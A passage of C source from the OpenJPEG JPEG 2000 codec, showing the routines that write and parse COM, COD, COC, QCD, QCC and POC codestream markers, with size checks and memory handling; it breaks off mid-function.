p_j2k->m_specific_param.m_encoder.m_header_tile_data = new_header_tile_data; p_j2k->m_specific_param.m_encoder.m_header_tile_data_size = l_total_com_size; } l_current_ptr = p_j2k->m_specific_param.m_encoder.m_header_tile_data; opj_write_bytes(l_current_ptr, J2K_MS_COM, 2); /* COM */ l_current_ptr += 2; opj_write_bytes(l_current_ptr, l_total_com_size - 2, 2); /* L_COM */ l_current_ptr += 2; opj_write_bytes(l_current_ptr, 1, 2); /* General use (IS 8859-15:1999 (Latin) values) */ l_current_ptr += 2; memcpy(l_current_ptr, l_comment, l_comment_size); if (opj_stream_write_data(p_stream, p_j2k->m_specific_param.m_encoder.m_header_tile_data, l_total_com_size, p_manager) != l_total_com_size) { return OPJ_FALSE; } return OPJ_TRUE; } /** * Reads a COM marker (comments) * @param p_j2k the jpeg2000 file codec. * @param p_header_data the data contained in the COM box. * @param p_header_size the size of the data contained in the COM marker. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_read_com(opj_j2k_t *p_j2k, OPJ_BYTE * p_header_data, OPJ_UINT32 p_header_size, opj_event_mgr_t * p_manager ) { /* preconditions */ assert(p_j2k != 00); assert(p_manager != 00); assert(p_header_data != 00); OPJ_UNUSED(p_j2k); OPJ_UNUSED(p_header_data); OPJ_UNUSED(p_header_size); OPJ_UNUSED(p_manager); return OPJ_TRUE; } static OPJ_BOOL opj_j2k_write_cod(opj_j2k_t *p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager) { opj_cp_t *l_cp = 00; opj_tcp_t *l_tcp = 00; OPJ_UINT32 l_code_size, l_remaining_size; OPJ_BYTE * l_current_data = 00; /* preconditions */ assert(p_j2k != 00); assert(p_manager != 00); assert(p_stream != 00); l_cp = &(p_j2k->m_cp); l_tcp = &l_cp->tcps[p_j2k->m_current_tile_number]; l_code_size = 9 + opj_j2k_get_SPCod_SPCoc_size(p_j2k, p_j2k->m_current_tile_number, 0); l_remaining_size = l_code_size; if (l_code_size > p_j2k->m_specific_param.m_encoder.m_header_tile_data_size) { OPJ_BYTE *new_header_tile_data = (OPJ_BYTE *) opj_realloc( p_j2k->m_specific_param.m_encoder.m_header_tile_data, l_code_size); if (! new_header_tile_data) { opj_free(p_j2k->m_specific_param.m_encoder.m_header_tile_data); p_j2k->m_specific_param.m_encoder.m_header_tile_data = NULL; p_j2k->m_specific_param.m_encoder.m_header_tile_data_size = 0; opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to write COD marker\n"); return OPJ_FALSE; } p_j2k->m_specific_param.m_encoder.m_header_tile_data = new_header_tile_data; p_j2k->m_specific_param.m_encoder.m_header_tile_data_size = l_code_size; } l_current_data = p_j2k->m_specific_param.m_encoder.m_header_tile_data; opj_write_bytes(l_current_data, J2K_MS_COD, 2); /* COD */ l_current_data += 2; opj_write_bytes(l_current_data, l_code_size - 2, 2); /* L_COD */ l_current_data += 2; opj_write_bytes(l_current_data, l_tcp->csty, 1); /* Scod */ ++l_current_data; opj_write_bytes(l_current_data, (OPJ_UINT32)l_tcp->prg, 1); /* SGcod (A) */ ++l_current_data; opj_write_bytes(l_current_data, l_tcp->numlayers, 2); /* SGcod (B) */ l_current_data += 2; opj_write_bytes(l_current_data, l_tcp->mct, 1); /* SGcod (C) */ ++l_current_data; l_remaining_size -= 9; if (! opj_j2k_write_SPCod_SPCoc(p_j2k, p_j2k->m_current_tile_number, 0, l_current_data, &l_remaining_size, p_manager)) { opj_event_msg(p_manager, EVT_ERROR, "Error writing COD marker\n"); return OPJ_FALSE; } if (l_remaining_size != 0) { opj_event_msg(p_manager, EVT_ERROR, "Error writing COD marker\n"); return OPJ_FALSE; } if (opj_stream_write_data(p_stream, p_j2k->m_specific_param.m_encoder.m_header_tile_data, l_code_size, p_manager) != l_code_size) { return OPJ_FALSE; } return OPJ_TRUE; } /** * Reads a COD marker (Coding Styke defaults) * @param p_header_data the data contained in the COD box. * @param p_j2k the jpeg2000 codec. * @param p_header_size the size of the data contained in the COD marker. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_read_cod(opj_j2k_t *p_j2k, OPJ_BYTE * p_header_data, OPJ_UINT32 p_header_size, opj_event_mgr_t * p_manager ) { /* loop */ OPJ_UINT32 i; OPJ_UINT32 l_tmp; opj_cp_t *l_cp = 00; opj_tcp_t *l_tcp = 00; opj_image_t *l_image = 00; /* preconditions */ assert(p_header_data != 00); assert(p_j2k != 00); assert(p_manager != 00); l_image = p_j2k->m_private_image; l_cp = &(p_j2k->m_cp); /* If we are in the first tile-part header of the current tile */ l_tcp = (p_j2k->m_specific_param.m_decoder.m_state == J2K_STATE_TPH) ? &l_cp->tcps[p_j2k->m_current_tile_number] : p_j2k->m_specific_param.m_decoder.m_default_tcp; /* Only one COD per tile */ if (l_tcp->cod) { opj_event_msg(p_manager, EVT_ERROR, "COD marker already read. No more than one COD marker per tile.\n"); return OPJ_FALSE; } l_tcp->cod = 1; /* Make sure room is sufficient */ if (p_header_size < 5) { opj_event_msg(p_manager, EVT_ERROR, "Error reading COD marker\n"); return OPJ_FALSE; } opj_read_bytes(p_header_data, &l_tcp->csty, 1); /* Scod */ ++p_header_data; /* Make sure we know how to decode this */ if ((l_tcp->csty & ~(OPJ_UINT32)(J2K_CP_CSTY_PRT | J2K_CP_CSTY_SOP | J2K_CP_CSTY_EPH)) != 0U) { opj_event_msg(p_manager, EVT_ERROR, "Unknown Scod value in COD marker\n"); return OPJ_FALSE; } opj_read_bytes(p_header_data, &l_tmp, 1); /* SGcod (A) */ ++p_header_data; l_tcp->prg = (OPJ_PROG_ORDER) l_tmp; /* Make sure progression order is valid */ if (l_tcp->prg > OPJ_CPRL) { opj_event_msg(p_manager, EVT_ERROR, "Unknown progression order in COD marker\n"); l_tcp->prg = OPJ_PROG_UNKNOWN; } opj_read_bytes(p_header_data, &l_tcp->numlayers, 2); /* SGcod (B) */ p_header_data += 2; if ((l_tcp->numlayers < 1U) || (l_tcp->numlayers > 65535U)) { opj_event_msg(p_manager, EVT_ERROR, "Invalid number of layers in COD marker : %d not in range [1-65535]\n", l_tcp->numlayers); return OPJ_FALSE; } /* If user didn't set a number layer to decode take the max specify in the codestream. */ if (l_cp->m_specific_param.m_dec.m_layer) { l_tcp->num_layers_to_decode = l_cp->m_specific_param.m_dec.m_layer; } else { l_tcp->num_layers_to_decode = l_tcp->numlayers; } opj_read_bytes(p_header_data, &l_tcp->mct, 1); /* SGcod (C) */ ++p_header_data; p_header_size -= 5; for (i = 0; i < l_image->numcomps; ++i) { l_tcp->tccps[i].csty = l_tcp->csty & J2K_CCP_CSTY_PRT; } if (! opj_j2k_read_SPCod_SPCoc(p_j2k, 0, p_header_data, &p_header_size, p_manager)) { opj_event_msg(p_manager, EVT_ERROR, "Error reading COD marker\n"); return OPJ_FALSE; } if (p_header_size != 0) { opj_event_msg(p_manager, EVT_ERROR, "Error reading COD marker\n"); return OPJ_FALSE; } /* Apply the coding style to other components of the current tile or the m_default_tcp*/ opj_j2k_copy_tile_component_parameters(p_j2k); /* Index */ #ifdef WIP_REMOVE_MSD if (p_j2k->cstr_info) { /*opj_codestream_info_t *l_cstr_info = p_j2k->cstr_info;*/ p_j2k->cstr_info->prog = l_tcp->prg; p_j2k->cstr_info->numlayers = l_tcp->numlayers; p_j2k->cstr_info->numdecompos = (OPJ_INT32*) opj_malloc( l_image->numcomps * sizeof(OPJ_UINT32)); if (!p_j2k->cstr_info->numdecompos) { return OPJ_FALSE; } for (i = 0; i < l_image->numcomps; ++i) { p_j2k->cstr_info->numdecompos[i] = l_tcp->tccps[i].numresolutions - 1; } } #endif return OPJ_TRUE; } static OPJ_BOOL opj_j2k_write_coc(opj_j2k_t *p_j2k, OPJ_UINT32 p_comp_no, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager) { OPJ_UINT32 l_coc_size, l_remaining_size; OPJ_UINT32 l_comp_room; /* preconditions */ assert(p_j2k != 00); assert(p_manager != 00); assert(p_stream != 00); l_comp_room = (p_j2k->m_private_image->numcomps <= 256) ? 1 : 2; l_coc_size = 5 + l_comp_room + opj_j2k_get_SPCod_SPCoc_size(p_j2k, p_j2k->m_current_tile_number, p_comp_no); if (l_coc_size > p_j2k->m_specific_param.m_encoder.m_header_tile_data_size) { OPJ_BYTE *new_header_tile_data; /*p_j2k->m_specific_param.m_encoder.m_header_tile_data = (OPJ_BYTE*)opj_realloc( p_j2k->m_specific_param.m_encoder.m_header_tile_data, l_coc_size);*/ new_header_tile_data = (OPJ_BYTE *) opj_realloc( p_j2k->m_specific_param.m_encoder.m_header_tile_data, l_coc_size); if (! new_header_tile_data) { opj_free(p_j2k->m_specific_param.m_encoder.m_header_tile_data); p_j2k->m_specific_param.m_encoder.m_header_tile_data = NULL; p_j2k->m_specific_param.m_encoder.m_header_tile_data_size = 0; opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to write COC marker\n"); return OPJ_FALSE; } p_j2k->m_specific_param.m_encoder.m_header_tile_data = new_header_tile_data; p_j2k->m_specific_param.m_encoder.m_header_tile_data_size = l_coc_size; } opj_j2k_write_coc_in_memory(p_j2k, p_comp_no, p_j2k->m_specific_param.m_encoder.m_header_tile_data, &l_remaining_size, p_manager); if (opj_stream_write_data(p_stream, p_j2k->m_specific_param.m_encoder.m_header_tile_data, l_coc_size, p_manager) != l_coc_size) { return OPJ_FALSE; } return OPJ_TRUE; } static OPJ_BOOL opj_j2k_compare_coc(opj_j2k_t *p_j2k, OPJ_UINT32 p_first_comp_no, OPJ_UINT32 p_second_comp_no) { opj_cp_t *l_cp = NULL; opj_tcp_t *l_tcp = NULL; /* preconditions */ assert(p_j2k != 00); l_cp = &(p_j2k->m_cp); l_tcp = &l_cp->tcps[p_j2k->m_current_tile_number]; if (l_tcp->tccps[p_first_comp_no].csty != l_tcp->tccps[p_second_comp_no].csty) { return OPJ_FALSE; } return opj_j2k_compare_SPCod_SPCoc(p_j2k, p_j2k->m_current_tile_number, p_first_comp_no, p_second_comp_no); } static void opj_j2k_write_coc_in_memory(opj_j2k_t *p_j2k, OPJ_UINT32 p_comp_no, OPJ_BYTE * p_data, OPJ_UINT32 * p_data_written, opj_event_mgr_t * p_manager ) { opj_cp_t *l_cp = 00; opj_tcp_t *l_tcp = 00; OPJ_UINT32 l_coc_size, l_remaining_size; OPJ_BYTE * l_current_data = 00; opj_image_t *l_image = 00; OPJ_UINT32 l_comp_room; /* preconditions */ assert(p_j2k != 00); assert(p_manager != 00); l_cp = &(p_j2k->m_cp); l_tcp = &l_cp->tcps[p_j2k->m_current_tile_number]; l_image = p_j2k->m_private_image; l_comp_room = (l_image->numcomps <= 256) ? 1 : 2; l_coc_size = 5 + l_comp_room + opj_j2k_get_SPCod_SPCoc_size(p_j2k, p_j2k->m_current_tile_number, p_comp_no); l_remaining_size = l_coc_size; l_current_data = p_data; opj_write_bytes(l_current_data, J2K_MS_COC, 2); /* COC */ l_current_data += 2; opj_write_bytes(l_current_data, l_coc_size - 2, 2); /* L_COC */ l_current_data += 2; opj_write_bytes(l_current_data, p_comp_no, l_comp_room); /* Ccoc */ l_current_data += l_comp_room; opj_write_bytes(l_current_data, l_tcp->tccps[p_comp_no].csty, 1); /* Scoc */ ++l_current_data; l_remaining_size -= (5 + l_comp_room); opj_j2k_write_SPCod_SPCoc(p_j2k, p_j2k->m_current_tile_number, 0, l_current_data, &l_remaining_size, p_manager); * p_data_written = l_coc_size; } static OPJ_UINT32 opj_j2k_get_max_coc_size(opj_j2k_t *p_j2k) { OPJ_UINT32 i, j; OPJ_UINT32 l_nb_comp; OPJ_UINT32 l_nb_tiles; OPJ_UINT32 l_max = 0; /* preconditions */ l_nb_tiles = p_j2k->m_cp.tw * p_j2k->m_cp.th ; l_nb_comp = p_j2k->m_private_image->numcomps; for (i = 0; i < l_nb_tiles; ++i) { for (j = 0; j < l_nb_comp; ++j) { l_max = opj_uint_max(l_max, opj_j2k_get_SPCod_SPCoc_size(p_j2k, i, j)); } } return 6 + l_max; } /** * Reads a COC marker (Coding Style Component) * @param p_header_data the data contained in the COC box. * @param p_j2k the jpeg2000 codec. * @param p_header_size the size of the data contained in the COC marker. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_read_coc(opj_j2k_t *p_j2k, OPJ_BYTE * p_header_data, OPJ_UINT32 p_header_size, opj_event_mgr_t * p_manager ) { opj_cp_t *l_cp = NULL; opj_tcp_t *l_tcp = NULL; opj_image_t *l_image = NULL; OPJ_UINT32 l_comp_room; OPJ_UINT32 l_comp_no; /* preconditions */ assert(p_header_data != 00); assert(p_j2k != 00); assert(p_manager != 00); l_cp = &(p_j2k->m_cp); l_tcp = (p_j2k->m_specific_param.m_decoder.m_state == J2K_STATE_TPH) ? &l_cp->tcps[p_j2k->m_current_tile_number] : p_j2k->m_specific_param.m_decoder.m_default_tcp; l_image = p_j2k->m_private_image; l_comp_room = l_image->numcomps <= 256 ? 1 : 2; /* make sure room is sufficient*/ if (p_header_size < l_comp_room + 1) { opj_event_msg(p_manager, EVT_ERROR, "Error reading COC marker\n"); return OPJ_FALSE; } p_header_size -= l_comp_room + 1; opj_read_bytes(p_header_data, &l_comp_no, l_comp_room); /* Ccoc */ p_header_data += l_comp_room; if (l_comp_no >= l_image->numcomps) { opj_event_msg(p_manager, EVT_ERROR, "Error reading COC marker (bad number of components)\n"); return OPJ_FALSE; } opj_read_bytes(p_header_data, &l_tcp->tccps[l_comp_no].csty, 1); /* Scoc */ ++p_header_data ; if (! opj_j2k_read_SPCod_SPCoc(p_j2k, l_comp_no, p_header_data, &p_header_size, p_manager)) { opj_event_msg(p_manager, EVT_ERROR, "Error reading COC marker\n"); return OPJ_FALSE; } if (p_header_size != 0) { opj_event_msg(p_manager, EVT_ERROR, "Error reading COC marker\n"); return OPJ_FALSE; } return OPJ_TRUE; } static OPJ_BOOL opj_j2k_write_qcd(opj_j2k_t *p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager ) { OPJ_UINT32 l_qcd_size, l_remaining_size; OPJ_BYTE * l_current_data = 00; /* preconditions */ assert(p_j2k != 00); assert(p_manager != 00); assert(p_stream != 00); l_qcd_size = 4 + opj_j2k_get_SQcd_SQcc_size(p_j2k, p_j2k->m_current_tile_number, 0); l_remaining_size = l_qcd_size; if (l_qcd_size > p_j2k->m_specific_param.m_encoder.m_header_tile_data_size) { OPJ_BYTE *new_header_tile_data = (OPJ_BYTE *) opj_realloc( p_j2k->m_specific_param.m_encoder.m_header_tile_data, l_qcd_size); if (! new_header_tile_data) { opj_free(p_j2k->m_specific_param.m_encoder.m_header_tile_data); p_j2k->m_specific_param.m_encoder.m_header_tile_data = NULL; p_j2k->m_specific_param.m_encoder.m_header_tile_data_size = 0; opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to write QCD marker\n"); return OPJ_FALSE; } p_j2k->m_specific_param.m_encoder.m_header_tile_data = new_header_tile_data; p_j2k->m_specific_param.m_encoder.m_header_tile_data_size = l_qcd_size; } l_current_data = p_j2k->m_specific_param.m_encoder.m_header_tile_data; opj_write_bytes(l_current_data, J2K_MS_QCD, 2); /* QCD */ l_current_data += 2; opj_write_bytes(l_current_data, l_qcd_size - 2, 2); /* L_QCD */ l_current_data += 2; l_remaining_size -= 4; if (! opj_j2k_write_SQcd_SQcc(p_j2k, p_j2k->m_current_tile_number, 0, l_current_data, &l_remaining_size, p_manager)) { opj_event_msg(p_manager, EVT_ERROR, "Error writing QCD marker\n"); return OPJ_FALSE; } if (l_remaining_size != 0) { opj_event_msg(p_manager, EVT_ERROR, "Error writing QCD marker\n"); return OPJ_FALSE; } if (opj_stream_write_data(p_stream, p_j2k->m_specific_param.m_encoder.m_header_tile_data, l_qcd_size, p_manager) != l_qcd_size) { return OPJ_FALSE; } return OPJ_TRUE; } /** * Reads a QCD marker (Quantization defaults) * @param p_header_data the data contained in the QCD box. * @param p_j2k the jpeg2000 codec. * @param p_header_size the size of the data contained in the QCD marker. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_read_qcd(opj_j2k_t *p_j2k, OPJ_BYTE * p_header_data, OPJ_UINT32 p_header_size, opj_event_mgr_t * p_manager ) { /* preconditions */ assert(p_header_data != 00); assert(p_j2k != 00); assert(p_manager != 00); if (! opj_j2k_read_SQcd_SQcc(p_j2k, 0, p_header_data, &p_header_size, p_manager)) { opj_event_msg(p_manager, EVT_ERROR, "Error reading QCD marker\n"); return OPJ_FALSE; } if (p_header_size != 0) { opj_event_msg(p_manager, EVT_ERROR, "Error reading QCD marker\n"); return OPJ_FALSE; } /* Apply the quantization parameters to other components of the current tile or the m_default_tcp */ opj_j2k_copy_tile_quantization_parameters(p_j2k); return OPJ_TRUE; } static OPJ_BOOL opj_j2k_write_qcc(opj_j2k_t *p_j2k, OPJ_UINT32 p_comp_no, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager ) { OPJ_UINT32 l_qcc_size, l_remaining_size; /* preconditions */ assert(p_j2k != 00); assert(p_manager != 00); assert(p_stream != 00); l_qcc_size = 5 + opj_j2k_get_SQcd_SQcc_size(p_j2k, p_j2k->m_current_tile_number, p_comp_no); l_qcc_size += p_j2k->m_private_image->numcomps <= 256 ? 0 : 1; l_remaining_size = l_qcc_size; if (l_qcc_size > p_j2k->m_specific_param.m_encoder.m_header_tile_data_size) { OPJ_BYTE *new_header_tile_data = (OPJ_BYTE *) opj_realloc( p_j2k->m_specific_param.m_encoder.m_header_tile_data, l_qcc_size); if (! new_header_tile_data) { opj_free(p_j2k->m_specific_param.m_encoder.m_header_tile_data); p_j2k->m_specific_param.m_encoder.m_header_tile_data = NULL; p_j2k->m_specific_param.m_encoder.m_header_tile_data_size = 0; opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to write QCC marker\n"); return OPJ_FALSE; } p_j2k->m_specific_param.m_encoder.m_header_tile_data = new_header_tile_data; p_j2k->m_specific_param.m_encoder.m_header_tile_data_size = l_qcc_size; } opj_j2k_write_qcc_in_memory(p_j2k, p_comp_no, p_j2k->m_specific_param.m_encoder.m_header_tile_data, &l_remaining_size, p_manager); if (opj_stream_write_data(p_stream, p_j2k->m_specific_param.m_encoder.m_header_tile_data, l_qcc_size, p_manager) != l_qcc_size) { return OPJ_FALSE; } return OPJ_TRUE; } static OPJ_BOOL opj_j2k_compare_qcc(opj_j2k_t *p_j2k, OPJ_UINT32 p_first_comp_no, OPJ_UINT32 p_second_comp_no) { return opj_j2k_compare_SQcd_SQcc(p_j2k, p_j2k->m_current_tile_number, p_first_comp_no, p_second_comp_no); } static void opj_j2k_write_qcc_in_memory(opj_j2k_t *p_j2k, OPJ_UINT32 p_comp_no, OPJ_BYTE * p_data, OPJ_UINT32 * p_data_written, opj_event_mgr_t * p_manager ) { OPJ_UINT32 l_qcc_size, l_remaining_size; OPJ_BYTE * l_current_data = 00; /* preconditions */ assert(p_j2k != 00); assert(p_manager != 00); l_qcc_size = 6 + opj_j2k_get_SQcd_SQcc_size(p_j2k, p_j2k->m_current_tile_number, p_comp_no); l_remaining_size = l_qcc_size; l_current_data = p_data; opj_write_bytes(l_current_data, J2K_MS_QCC, 2); /* QCC */ l_current_data += 2; if (p_j2k->m_private_image->numcomps <= 256) { --l_qcc_size; opj_write_bytes(l_current_data, l_qcc_size - 2, 2); /* L_QCC */ l_current_data += 2; opj_write_bytes(l_current_data, p_comp_no, 1); /* Cqcc */ ++l_current_data; /* in the case only one byte is sufficient the last byte allocated is useless -> still do -6 for available */ l_remaining_size -= 6; } else { opj_write_bytes(l_current_data, l_qcc_size - 2, 2); /* L_QCC */ l_current_data += 2; opj_write_bytes(l_current_data, p_comp_no, 2); /* Cqcc */ l_current_data += 2; l_remaining_size -= 6; } opj_j2k_write_SQcd_SQcc(p_j2k, p_j2k->m_current_tile_number, p_comp_no, l_current_data, &l_remaining_size, p_manager); *p_data_written = l_qcc_size; } static OPJ_UINT32 opj_j2k_get_max_qcc_size(opj_j2k_t *p_j2k) { return opj_j2k_get_max_coc_size(p_j2k); } /** * Reads a QCC marker (Quantization component) * @param p_header_data the data contained in the QCC box. * @param p_j2k the jpeg2000 codec. * @param p_header_size the size of the data contained in the QCC marker. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_read_qcc(opj_j2k_t *p_j2k, OPJ_BYTE * p_header_data, OPJ_UINT32 p_header_size, opj_event_mgr_t * p_manager ) { OPJ_UINT32 l_num_comp, l_comp_no; /* preconditions */ assert(p_header_data != 00); assert(p_j2k != 00); assert(p_manager != 00); l_num_comp = p_j2k->m_private_image->numcomps; if (l_num_comp <= 256) { if (p_header_size < 1) { opj_event_msg(p_manager, EVT_ERROR, "Error reading QCC marker\n"); return OPJ_FALSE; } opj_read_bytes(p_header_data, &l_comp_no, 1); ++p_header_data; --p_header_size; } else { if (p_header_size < 2) { opj_event_msg(p_manager, EVT_ERROR, "Error reading QCC marker\n"); return OPJ_FALSE; } opj_read_bytes(p_header_data, &l_comp_no, 2); p_header_data += 2; p_header_size -= 2; } #ifdef USE_JPWL if (p_j2k->m_cp.correct) { static OPJ_UINT32 backup_compno = 0; /* compno is negative or larger than the number of components!!! */ if (/*(l_comp_no < 0) ||*/ (l_comp_no >= l_num_comp)) { opj_event_msg(p_manager, EVT_ERROR, "JPWL: bad component number in QCC (%d out of a maximum of %d)\n", l_comp_no, l_num_comp); if (!JPWL_ASSUME) { opj_event_msg(p_manager, EVT_ERROR, "JPWL: giving up\n"); return OPJ_FALSE; } /* we try to correct */ l_comp_no = backup_compno % l_num_comp; opj_event_msg(p_manager, EVT_WARNING, "- trying to adjust this\n" "- setting component number to %d\n", l_comp_no); } /* keep your private count of tiles */ backup_compno++; }; #endif /* USE_JPWL */ if (l_comp_no >= p_j2k->m_private_image->numcomps) { opj_event_msg(p_manager, EVT_ERROR, "Invalid component number: %d, regarding the number of components %d\n", l_comp_no, p_j2k->m_private_image->numcomps); return OPJ_FALSE; } if (! opj_j2k_read_SQcd_SQcc(p_j2k, l_comp_no, p_header_data, &p_header_size, p_manager)) { opj_event_msg(p_manager, EVT_ERROR, "Error reading QCC marker\n"); return OPJ_FALSE; } if (p_header_size != 0) { opj_event_msg(p_manager, EVT_ERROR, "Error reading QCC marker\n"); return OPJ_FALSE; } return OPJ_TRUE; } static OPJ_BOOL opj_j2k_write_poc(opj_j2k_t *p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager ) { OPJ_UINT32 l_nb_comp; OPJ_UINT32 l_nb_poc; OPJ_UINT32 l_poc_size; OPJ_UINT32 l_written_size = 0; opj_tcp_t *l_tcp = 00; OPJ_UINT32 l_poc_room; /* preconditions */ assert(p_j2k != 00); assert(p_manager != 00); assert(p_stream != 00); l_tcp = &p_j2k->m_cp.tcps[p_j2k->m_current_tile_number]; l_nb_comp = p_j2k->m_private_image->numcomps; l_nb_poc = 1 + l_tcp->numpocs; if (l_nb_comp <= 256) { l_poc_room = 1; } else { l_poc_room = 2; } l_poc_size = 4 + (5 + 2 * l_poc_room) * l_nb_poc; if (l_poc_size > p_j2k->m_specific_param.m_encoder.m_header_tile_data_size) { OPJ_BYTE *new_header_tile_data = (OPJ_BYTE *) opj_realloc( p_j2k->m_specific_param.m_encoder.m_header_tile_data, l_poc_size); if (! new_header_tile_data) { opj_free(p_j2k->m_specific_param.m_encoder.m_header_tile_data); p_j2k->m_specific_param.m_encoder.m_header_tile_data = NULL; p_j2k->m_specific_param.m_encoder.m_header_tile_data_size = 0; opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to write POC marker\n"); return OPJ_FALSE; } p_j2k->m_specific_param.m_encoder.m_header_tile_data = new_header_tile_data; p_j2k->m_specific_param.m_encoder.m_header_tile_data_size = l_poc_size; } opj_j2k_write_poc_in_memory(p_j2k, p_j2k->m_specific_param.m_encoder.m_header_tile_data, &l_written_size, p_manager); if (opj_stream_write_data(p_stream, p_j2k->m_specific_param.m_encoder.m_header_tile_data, l_poc_size, p_manager) != l_poc_size) { return OPJ_FALSE; } return OPJ_TRUE; } static void opj_j2k_write_poc_in_memory(opj_j2k_t *p_j2k, OPJ_BYTE * p_data, OPJ_UINT32 * p_data_written, opj_event_mgr_t * p_manager ) { OPJ_UINT32 i; OPJ_BYTE * l_current_data = 00; OPJ_UINT32 l_nb_comp; OPJ_UINT32 l_nb_poc; OPJ_UINT32 l_poc_size; opj_image_t *l_image = 00; opj_tcp_t *l_tcp = 00; opj_tccp_t *l_tccp = 00; opj_poc_t *l_current_poc = 00; OPJ_UINT32 l_poc_room; /* preconditions */ assert(p_j2k != 00); assert(p_manager != 00); OPJ_UNUSED(p_manager); l_tcp = &p_j2k->m_cp.tcps[p_j2k->m_current_tile_number]; l_tccp = &l_tcp->tccps[0]; l_image = p_j2k->m_private_image; l_nb_comp = l_image->numcomps; l_nb_poc = 1 + l_tcp->numpocs; if (l_nb_comp <= 256) { l_poc_room = 1; } else { l_poc_room = 2; } l_poc_size = 4 + (5 + 2 * l_poc_room) * l_nb_poc; l_current_data = p_data; opj_write_bytes(l_current_data, J2K_MS_POC, 2); /* POC */ l_current_data += 2; opj_write_bytes(l_current_data, l_poc_size - 2, 2); /* Lpoc */ l_current_data += 2; l_current_poc = l_tcp->pocs; for (i = 0; i < l_nb_poc; ++i) { opj_write_bytes(l_current_data, l_current_poc->resno0, 1); /* RSpoc_i */ ++l_current_data; opj_write_bytes(l_current_data, l_current_poc->compno0, l_poc_room); /* CSpoc_i */ l_current_data += l_poc_room; opj_write_bytes(l_current_data, l_current_poc->layno1, 2); /* LYEpoc_i */ l_current_data += 2; opj_write_bytes(l_current_data, l_current_poc->resno1, 1); /* REpoc_i */ ++l_current_data; opj_write_bytes(l_current_data, l_current_poc->compno1, l_poc_room); /* CEpoc_i */ l_current_data += l_poc_room; opj_write_bytes(l_current_data, (OPJ_UINT32)l_current_poc->prg, 1); /* Ppoc_i */ ++l_current_data; /* change the value of the max layer according to the actual number of layers in the file, components and resolutions*/ l_current_poc->layno1 = (OPJ_UINT32)opj_int_min((OPJ_INT32) l_current_poc->layno1, (OPJ_INT32)l_tcp->numlayers); l_current_poc->resno1 = (OPJ_UINT32)opj_int_min((OPJ_INT32) l_current_poc->resno1, (OPJ_INT32)l_tccp->numresolutions); l_current_poc->compno1 = (OPJ_UINT32)opj_int_min((OPJ_INT32) l_current_poc->compno1, (OPJ_INT32)l_nb_comp); ++l_current_poc; } *p_data_written = l_poc_size; } static OPJ_UINT32 opj_j2k_get_max_poc_size(opj_j2k_t *p_j2k) { opj_tcp_t * l_tcp = 00; OPJ_UINT32 l_nb_tiles = 0; OPJ_UINT32 l_max_poc = 0; OPJ_UINT32 i; l_tcp = p_j2k->m_cp.tcps; l_nb_tiles = p_j2k->m_cp.th * p_j2k->m_cp.tw; for (i = 0; i < l_nb_tiles; ++i) { l_max_poc = opj_uint_max(l_max_poc, l_tcp->numpocs); ++l_tcp; } ++l_max_poc; return 4 + 9 * l_max_poc; } static OPJ_UINT32 opj_j2k_get_max_toc_size(opj_j2k_t *p_j2k) { OPJ_UINT32 i; OPJ_UINT32 l_nb_tiles; OPJ_UINT32 l_max = 0; opj_tcp_t * l_tcp = 00; l_tcp = p_j2k->m_cp.tcps; l_nb_tiles = p_j2k->m_cp.tw * p_j2k->m_cp.th ; for (i = 0; i < l_nb_tiles; ++i) { l_max = opj_uint_max(l_max, l_tcp->m_nb_tile_parts); ++l_tcp; } return 12 * l_max; } static OPJ_UINT32 opj_j2k_get_specific_header_sizes(opj_j2k_t *p_j2k) { OPJ_UINT32 l_nb_bytes = 0; OPJ_UINT32 l_nb_comps; OPJ_UINT32 l_coc_bytes, l_qcc_bytes; l_nb_comps = p_j2k->m_private_image->numcomps - 1; l_nb_bytes += opj_j2k_get_max_toc_size(p_j2k); if (!(OPJ_IS_CINEMA(p_j2k->m_cp.rsiz))) { l_coc_bytes = opj_j2k_get_max_coc_size(p_j2k); l_nb_bytes += l_nb_comps * l_coc_bytes; l_qcc_bytes = opj_j2k_get_max_qcc_size(p_j2k); l_nb_bytes += l_nb_comps * l_qcc_bytes; } l_nb_bytes += opj_j2k_get_max_poc_size(p_j2k); /*** DEVELOPER CORNER, Add room for your headers ***/ return l_nb_bytes; } /** * Reads a POC marker (Progression Order Change) * * @param p_header_data the data contained in the POC box. * @param p_j2k the jpeg2000 codec. * @param p_header_size the size of the data contained in the POC marker. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_read_poc(opj_j2k_t *p_j2k, OPJ_BYTE * p_header_data, OPJ_UINT32 p_header_size, opj_event_mgr_t * p_manager ) { OPJ_UINT32 i, l_nb_comp, l_tmp; opj_image_t * l_image = 00; OPJ_UINT32 l_old_poc_nb, l_current_poc_nb, l_current_poc_remaining; OPJ_UINT32 l_chunk_size, l_comp_room; opj_cp_t *l_cp = 00; opj_tcp_t *l_tcp = 00; opj_poc_t *l_current_poc = 00; /* preconditions */ assert(p_header_data != 00); assert(p_j2k != 00); assert(p_manager != 00); l_image = p_j2k->m_private_image; l_nb_comp = l_image->numcomps; if (l_nb_comp <= 256) { l_comp_room = 1; } else { l_comp_room = 2; } l_chunk_size = 5 + 2 * l_comp_room; l_current_poc_nb = p_header_size / l_chunk_size; l_current_poc_remaining = p_header_size % l_chunk_size; if ((l_current_poc_nb <= 0) || (l_current_poc_remaining != 0)) { opj_event_msg(p_manager, EVT_ERROR, "Error reading POC marker\n"); return OPJ_FALSE; } l_cp = &(p_j2k->m_cp); l_tcp = (p_j2k->m_specific_param.m_decoder.m_state == J2K_STATE_TPH) ? &l_cp->tcps[p_j2k->m_current_tile_number] : p_j2k->m_specific_param.m_decoder.m_default_tcp; l_old_poc_nb = l_tcp->POC ? l_tcp->numpocs + 1 : 0; l_current_poc_nb += l_old_poc_nb; if (l_current_poc_nb 